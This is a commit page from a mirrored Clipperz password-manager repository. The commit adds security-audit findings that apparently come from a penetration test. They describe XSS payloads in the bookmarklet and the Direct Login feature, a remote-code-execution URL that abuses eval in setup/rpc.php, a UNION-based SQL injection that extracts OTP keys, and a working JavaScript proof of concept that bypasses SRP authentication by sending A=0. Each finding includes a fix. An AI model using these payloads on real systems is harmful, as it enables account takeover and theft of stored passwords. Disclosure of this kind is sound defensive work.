mirror of
http://git.whoc.org.uk/git/password-manager.git
synced 2025-10-23 16:57:36 +02:00
Merged Import and Export branches, implemented Giulio's remarks on Import feature
This commit is contained in:
Dario Chiappetta
63
doc/Vulnerabilities/CLP-01-001.txt
Normal file
63
doc/Vulnerabilities/CLP-01-001.txt
Normal file
@@ -0,0 +1,63 @@
|
||||
CLP-01-001 DOMXSS in Clipperz Bookmarklet via benign HTML Injection (Medium)
|
||||
|
||||
Insecure concatenation of HTML strings in the Clipperz bookmarklet core
|
||||
lead to possibilities for an attacker, to turn a harmless injection on a
|
||||
victim website into an XSS as soon as a user activates the bookmarklet.
|
||||
The bookmarklet contains injectable code that allows arbitrary
|
||||
JavaScript execution from a harmless injection as shown below:
|
||||
|
||||
PoC:
|
||||
(run Clipperz Bookmarklet on this website)
|
||||
<body>
|
||||
<form action=''>
|
||||
<input name='username' type='text'>
|
||||
<input name='</textarea><img src=x onerror=alert(domain)>' type='password'>
|
||||
</form>
|
||||
|
||||
Affected HTML:
|
||||
<textarea style="border:2px solid #333366; font-family:sans-serif;
|
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font-size:8pt; color:#336; width:240px; height:135px; padding:4px;
|
||||
background-color:white; margin:0px 10px;"
|
||||
id="bookmarklet_textarea">{"page": {"title": ""},
|
||||
"form": {"attributes": {"action": "http://0x0/Test/",
|
||||
"method": null},
|
||||
"inputs": [{"type": "text",
|
||||
"name": "username",
|
||||
"value": "root"},
|
||||
{"type": "password",
|
||||
"name": "</textarea><img onerror="alert(domain)" src="x">",
|
||||
"value": "k4n0n3!?"}]},
|
||||
"version": "0.2.3"}</div>
|
||||
|
||||
Affected Code:
|
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innerHTML+="<textarea id=\"bookmarklet_textarea\" style=\"border:2px
|
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solid #333366; font-family:sans-serif; font-size:8pt; color:#336;
|
||||
width:240px; height:135px; padding:4px; background-color:white;
|
||||
margin:0px 10px;\">"+sj(someParameters)+"</textarea>";}
|
||||
|
||||
...
|
||||
|
||||
sj=function(o){var
|
||||
objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return
|
||||
o+"";}else if(o===null){return"null";} if(objtype=="string"){return
|
||||
rs(o);} var
|
||||
me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var
|
||||
res=[];for(var i=0;i<o.length;i++){var
|
||||
val=me(o[i]);if(typeof(val)!="string"){val="undefined";} res.push(val);}
|
||||
return"["+res.join(",\n")+"]";}
|
||||
|
||||
...
|
||||
|
||||
rs=function(o){return("\""+o.replace(/([\"\\])/g,"\\$1")+"\"").replace(/[\f]/g,"\\f").replace(/[\b]/g,"\\b").replace(/[\n]/g,"\\n").replace(/[\t]/g,"\\t").replace(/[\r]/g,"\\r");}
|
||||
|
||||
Any form of HTML, even content of HTML element attributes must be
|
||||
considered an attack vector. Currently, Clipperz does a good job in
|
||||
terms of encoding HTML element value attributes, yet other attribute
|
||||
types are not escaped, encoded or filtered at all. This lead to the
|
||||
identification of this and other bugs, specifically CLP-01-014 and
|
||||
CLP-01-015.
|
||||
|
||||
It needs to be made sure, that any form of user controlled data is being
|
||||
processed safely before displaying the resulting data. HTML special
|
||||
characters need to be encoded to their respected entity representation
|
||||
before displaying them.
|
||||
52
doc/Vulnerabilities/CLP-01-002.txt
Normal file
52
doc/Vulnerabilities/CLP-01-002.txt
Normal file
@@ -0,0 +1,52 @@
|
||||
CLP-01-002 Remote Code Execution in PHP Backend (Critical)
|
||||
|
||||
The PHP backend is vulnerable to Remote Code Execution attacks. In the
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||||
file setup/rpc.php, the name of a class can be specified in the
|
||||
parameter objectname of which an object is later instantiated within an
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||||
eval() statement.
|
||||
|
||||
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
|
||||
[...]
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
[...]
|
||||
switch($action)
|
||||
{
|
||||
case 'Add':
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
[...]
|
||||
case 'Delete':
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
[...]
|
||||
case 'Update':
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
|
||||
function RefreshTree($objectName, $root, $offset = '', $limit = '')
|
||||
{
|
||||
[...]
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
|
||||
An attacker can add arbitrary PHP code to the objectname parameter that
|
||||
is then executed on the web server. This allows to fully compromise the
|
||||
web server and its data.
|
||||
|
||||
/setup/rpc.php?objectname=stdClass();system(?whoami?);phpinfo
|
||||
|
||||
Note that the setup routine can be protected by a password (empty by
|
||||
default) but the affected file setup/rpc.php does not include the file
|
||||
setup_library/authentication.php that performs the actual authentication
|
||||
check. Thus, the attack can be executed by any user as long as the setup
|
||||
directory exists.
|
||||
|
||||
PHP allows to dynamically call methods and constructors without using
|
||||
the eval() operator by using reflection. Here, no execution of arbitrary
|
||||
PHP code is possible.
|
||||
|
||||
$instance = new $objectName();
|
||||
|
||||
However, arbitrary constructors can be accessed that can lead to
|
||||
unwanted behavior. Thus, the objectName parameter should be validated
|
||||
against a whitelist which is already available in the $objects array
|
||||
filled in line 28. Other names should be rejected by the application.
|
||||
|
||||
if(!in_array($objectName, $objects))
|
||||
exit;
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||||
75
doc/Vulnerabilities/CLP-01-003.txt
Normal file
75
doc/Vulnerabilities/CLP-01-003.txt
Normal file
@@ -0,0 +1,75 @@
|
||||
CLP-01-003 SQL Injection in PHP Backend (High)
|
||||
|
||||
The PHP backend is vulnerable to SQL injection attacks. The method
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||||
GetList() of the object class user, record, recordversion,
|
||||
onetimepasswordstatus, and onetimepassword does not sanitize its
|
||||
parameters sufficiently before adding these to a dynamically constructed
|
||||
SQL query. Affected are the $sortBy and $limit parameter.
|
||||
|
||||
function GetList($fcv_array = array(), $sortBy='', $ascending=true,
|
||||
$limit='') {
|
||||
$sqlLimit = ($limit != '' ? "LIMIT $limit" : '');
|
||||
$this->pog_query = "select * from `onetimepassword` ";
|
||||
[...]
|
||||
$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" :
|
||||
"desc")." $sqlLimit";
|
||||
$cursor = Database::Reader($this->pog_query, $connection);
|
||||
[...]
|
||||
}
|
||||
|
||||
A vulnerable call of this method can be found in the function
|
||||
RefreshTree() of the file setup/rpc.php. Its first parameter is passed
|
||||
to the $sortBy parameter and the two last parameters are passed
|
||||
concatenated to the $limit parameter of the vulnerable GetList() method.
|
||||
|
||||
function RefreshTree($objectName, $root, $offset = '', $limit = '') {
|
||||
$sqlLimit = "$offset, $limit";
|
||||
$instanceList = $instance->GetList(
|
||||
array(array(strtolower($objectName)."Id",">",0)),
|
||||
strtolower($objectName)."Id",
|
||||
false,
|
||||
$sqlLimit
|
||||
);
|
||||
}
|
||||
|
||||
The function RefreshTree() is called with unsanitized parameters when
|
||||
the GET parameter action is set to Refresh.
|
||||
|
||||
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
|
||||
$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : '';
|
||||
$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : '';
|
||||
$action = $_GET['action'];
|
||||
switch($action) {
|
||||
case 'Refresh':
|
||||
RefreshTree($objectName, $root, $offset, $limit);
|
||||
}
|
||||
|
||||
An attacker is able to extract arbitrary data from the database,
|
||||
including user data and OTP keys.
|
||||
|
||||
/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union
|
||||
select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9
|
||||
from clipperz.onetimepassword
|
||||
|
||||
The construction of the WHERE clause from the parameter $fcv_array in
|
||||
the GetList() method is also potentially affected by SQL injection.
|
||||
Here, expected numeric values are added to the SQL query without
|
||||
escaping or type-casting.
|
||||
|
||||
if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'])
|
||||
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
|
||||
'NUMERIC'
|
||||
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
|
||||
'SET') {
|
||||
}
|
||||
else {
|
||||
value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] :
|
||||
"'".$fcv_array[$i][2]."'";
|
||||
$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value;
|
||||
}
|
||||
|
||||
Expected numeric values should be converted to integer before embedding
|
||||
them into the SQL query. Otherwise, an attacker is able to break out of
|
||||
the single quotes and inject her own SQL syntax. For more security it is
|
||||
highly recommended to use prepared statements, as done in the Python and
|
||||
Java backend.
|
||||
69
doc/Vulnerabilities/CLP-01-014.txt
Normal file
69
doc/Vulnerabilities/CLP-01-014.txt
Normal file
@@ -0,0 +1,69 @@
|
||||
CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
|
||||
|
||||
Caused by missing output filtering, an attacker can abuse the
|
||||
Bookmarklet in combination with the creation of a new card of type
|
||||
?Direct Login? to persistently infect a Clipperz account and get full
|
||||
and transparent access to all data stored in the account including
|
||||
passwords, keystrokes and other sensitive data.
|
||||
|
||||
Steps to Reproduce:
|
||||
Navigate to a maliciously prepared Website
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||||
Use the Clipperz Bookmarklet
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||||
Copy the generated JSON to create a Card
|
||||
Navigate to the Clipperz application
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||||
Create a new card of type ?Direct Login?
|
||||
Paste the content and save (First XSS is triggerd)
|
||||
Create the card (Second XSS is triggered)
|
||||
|
||||
Anytime the affected user navigates to the malicious card, the injected
|
||||
JavaScript is executed. This thereby effectively ?trojanizes? the entire
|
||||
Clipperz account and gives an attacker access to any of the stored cards
|
||||
and related passwords in plaintext.
|
||||
|
||||
Example Markup for malicious page:
|
||||
<body>
|
||||
<form action=''>
|
||||
<input name='username' type='text'>
|
||||
<input name='password' type='password'>
|
||||
<input name='"><img src=x onerror=alert(domain)>' value='bla'>
|
||||
</form>
|
||||
|
||||
Resulting JSON:
|
||||
{"page": {"title": ""},
|
||||
"form": {"attributes": {"action": "http://attacked/",
|
||||
"method": null},
|
||||
"inputs": [{"type": "text",
|
||||
"name": "username",
|
||||
"value": "root"},
|
||||
{"type": "password",
|
||||
"name": "password",
|
||||
"value": ""},
|
||||
{"type": "text",
|
||||
"name": "\"><img src=x onerror=alert(domain)>",
|
||||
"value": "bla"}]},
|
||||
"version": "0.2.3"}
|
||||
|
||||
Affected Markup in Clipperz application:
|
||||
<tr id="elgen-1630"><td
|
||||
class="directLoginBindingLabelTD"><span>"><img src=x
|
||||
onerror=alert(domain)></span></td><td
|
||||
class="directLoginBindingValueTD"><div style="display: none;"
|
||||
id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
|
||||
id="Clipperz_PM_Components_Panels_select_3948"><option
|
||||
value="null">---</option><option
|
||||
value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
|
||||
value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
|
||||
value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
|
||||
selected="true">"><img src=x
|
||||
onerror=alert(domain)></option></select></div><div style="display:
|
||||
block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
|
||||
id="Clipperz_PM_Components_Panels_viewValue_3950">"><img src="x"
|
||||
onerror="alert(domain)"></span></div></td></tr>
|
||||
|
||||
It is highly recommended to escape and filter any output and consider
|
||||
the pages to pull login data from to be an adversary as well. Especially
|
||||
the content of the name field and other attributes of form elements
|
||||
should not be considered trusted as they can contain malicious data -
|
||||
similar to the form element?s value. All special HTML characters need to
|
||||
be converted into their corresponding HTML entities before displaying
|
||||
them to the user.
|
||||
62
doc/Vulnerabilities/CLP-01-015.txt
Normal file
62
doc/Vulnerabilities/CLP-01-015.txt
Normal file
@@ -0,0 +1,62 @@
|
||||
CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical)
|
||||
|
||||
Similar to the issue described in CLP-01-014, a persistent XSS can be
|
||||
triggered using the Direct Login feature. Clipperz attempts to load the
|
||||
favicon of the linked website and display its URL inside the src
|
||||
attribute of an IMG element. An attacker can cause the bookmarklet to
|
||||
deliver a maliciously prepared URL that, in conjunction with the favicon
|
||||
display, leads to an XSS attack.
|
||||
|
||||
Note that this attack is capable of executing arbitrary attacker
|
||||
controlled JavaScript right after the victim logged in, because the
|
||||
vulnerable element is being shown on the index page. It is further
|
||||
possible to create a malicious page that will fill the bookmarklet?s
|
||||
textarea with arbitrary content. The victim would have no way to detect
|
||||
that something was injected and will willingly copy & paste it into the
|
||||
clippers application?s card creator form.
|
||||
|
||||
Steps to reproduce:
|
||||
Copy malicious JSON into card editor for ?Direct Login?
|
||||
Create the card
|
||||
Logout
|
||||
Log in again
|
||||
Attacker?s JavaScript executes
|
||||
|
||||
Example JSON to inject the payload:
|
||||
{"page": {"title": ""},
|
||||
"form": {"attributes": {"action": "javascript://\"onload=alert(1)//",
|
||||
"method": null},
|
||||
"inputs": [{"type": "text",
|
||||
"name": "username",
|
||||
"value": ""},
|
||||
{"type": "password",
|
||||
"name": "password",
|
||||
"value": ""}]},
|
||||
"version": "0.2.3"}
|
||||
|
||||
Affected Markup in Clipperz application:
|
||||
<img
|
||||
id="6a103aa5ab36f0c34cebde816f468bfd9550ca5bbbce67470a0ec58ec7ea1a4b_faviconIMG"
|
||||
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
|
||||
onload="alert(1)///favicon.ico""></td><td valign="top"><a
|
||||
class="directLoginItemTitle">adadadsadsa</a></td><td align="right"
|
||||
valign="top"><a
|
||||
class="directLoginItemEditButton">show</a></td></tr></tbody></table></li><li
|
||||
class=" "
|
||||
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4"><table
|
||||
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td align="center"
|
||||
valign="top" width="20"><img
|
||||
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4_faviconIMG"
|
||||
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
|
||||
onload="alert(1)///favicon.ico""></td><td valign="top"><a
|
||||
class="directLoginItemTitle">unnamed record</a></td><td align="right"
|
||||
valign="top"><a class="directLoginItemEditButton">show</a>
|
||||
|
||||
It must be ensured that any form of user controlled data is being
|
||||
filtered and encoded properly. It has shown, that the JSON processing
|
||||
for direct logins is a particularly vulnerable element of the Clipperz
|
||||
application and deserves special attention. We believe, that the
|
||||
bookmarklet is easily exposed to injection attacks and that the content
|
||||
of the textarea for direct login data is a dangerous and easy to exploit
|
||||
attack vector and needs to be treated as such by the Clipperz
|
||||
application upon processing its data.
|
||||
20
doc/Vulnerabilities/CLP-01-016.txt
Normal file
20
doc/Vulnerabilities/CLP-01-016.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
CLP-01-016 SRP implementation vulnerable to known attacks (High)
|
||||
|
||||
The Clipperz application implements the Secure Remote Password protocol
|
||||
for authentication. The implementation adheres to the original protocol
|
||||
specification from 1998 and is not standardized. The third revision
|
||||
(SRP-3) is described in RFC2459, and has since revised several times to
|
||||
prevent against attacks. Two attacks, ?two-for-one? guessing attack and
|
||||
message ordering attack, are detailed in the paper ?SRP-6 Improvements
|
||||
and Refinements of the Secure Remote Password Protocol?. The latest
|
||||
revision of the protocol SRP-6 is being standardized in IEEE P1363 and
|
||||
ISO/IEC 11770-4.
|
||||
|
||||
Specifically, the implementation is missing the k value introduced in
|
||||
SRP-6 to prevent the ?two-for-one? attack. The k value is used on the
|
||||
server side to compute B=kv+gb and on the client side to compute
|
||||
S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3
|
||||
optimized ordering, not the standard or optimized message ordering of
|
||||
SRP-6, which was introduced to prevent a message ordering attack. Note
|
||||
also that the computation of M1=H(A | B | K) does not adhere to
|
||||
M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard.
|
||||
88
doc/Vulnerabilities/CLP-01-017.txt
Normal file
88
doc/Vulnerabilities/CLP-01-017.txt
Normal file
@@ -0,0 +1,88 @@
|
||||
CLP-01-017 SRP Authentication Bypass (Critical)
|
||||
|
||||
The Clipperz application implements the Secure Remote Password protocol
|
||||
for authentication. The specification explicitly states that the
|
||||
parameter A provided by the client must not be zero. The Clipperz
|
||||
implementation omits this check, which makes password verification
|
||||
trivial to bypass.
|
||||
|
||||
According to the SRP-6 specification, the shared secret is on the server
|
||||
side calculated as (Avu)b where A is supplied by the client. If A is
|
||||
zero the result is also zero, and the resulting shared key is H(0). The
|
||||
corresponding proof can easily be calculated by the attacker as H(0 | B
|
||||
| H(0)). The following JavaScript function can be run in the console
|
||||
when on the Clipperz login page. While the page itself is not updated,
|
||||
the resulting JSON response clearly indicates a successful login.
|
||||
|
||||
SRP authentication bypass PoC:
|
||||
|
||||
(function PoC(){
|
||||
function send(m,p){
|
||||
x=new XMLHttpRequest();
|
||||
x.open('post','/json',false);
|
||||
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
|
||||
x.send('method='+m+'¶meters='+urlEncode(JSON.stringify(p)));
|
||||
return JSON.parse(x.responseText);
|
||||
}
|
||||
r=send('knock',{"requestType":"CONNECT"});
|
||||
|
||||
r=send('handshake',{"parameters":
|
||||
{"message":"connect",
|
||||
"version":"0.2",
|
||||
"parameters":
|
||||
|
||||
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
|
||||
"A":"0"}},
|
||||
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||||
|
||||
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
|
||||
S=new Clipperz.ByteArray("0")
|
||||
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
|
||||
M1=new Clipperz.ByteArray("0"+B+K)
|
||||
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
|
||||
return send('handshake',{"parameters":
|
||||
{"message":"credentialCheck",
|
||||
"version":"0.2",
|
||||
"parameters":{"M1":M1}},
|
||||
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||||
})()
|
||||
|
||||
Example JSON response:
|
||||
|
||||
{"result":
|
||||
{"subscription":
|
||||
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
|
||||
"features":["OFFLINE_COPY","LIST_CARDS"],
|
||||
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
|
||||
"type":"EARLY_ADOPTER"},
|
||||
"loginInfo":
|
||||
{"current":
|
||||
{"operatingSystem":"LINUX",
|
||||
"disconnectionType":"STILL_CONNECTED",
|
||||
"browser":"FIREFOX",
|
||||
"connectionType":"LOGIN",
|
||||
"date":"Tue, 06 May 2014 03:09:28 UTC",
|
||||
"country":"SE",
|
||||
"ip":"83.248.183.26"},
|
||||
"latest":
|
||||
{"operatingSystem":"LINUX",
|
||||
"disconnectionType":"SESSION_EXPIRED",
|
||||
"browser":"FIREFOX",
|
||||
"connectionType":"LOGIN",
|
||||
"date":"Tue, 06 May 2014 02:16:36 UTC",
|
||||
"country":"SE",
|
||||
"ip":"83.248.183.26"}},
|
||||
"connectionId":
|
||||
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
|
||||
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
|
||||
"offlineCopyNeeded":true,
|
||||
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
|
||||
"toll":
|
||||
{"targetValue":
|
||||
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
|
||||
"requestType":"MESSAGE",
|
||||
"cost":2}
|
||||
}
|
||||
|
||||
To mitigate the issue sufficiently, the server needs to verify that A
|
||||
cannot be 0 so the attack cannot be carried out.
|
||||
Reference in New Issue
Block a user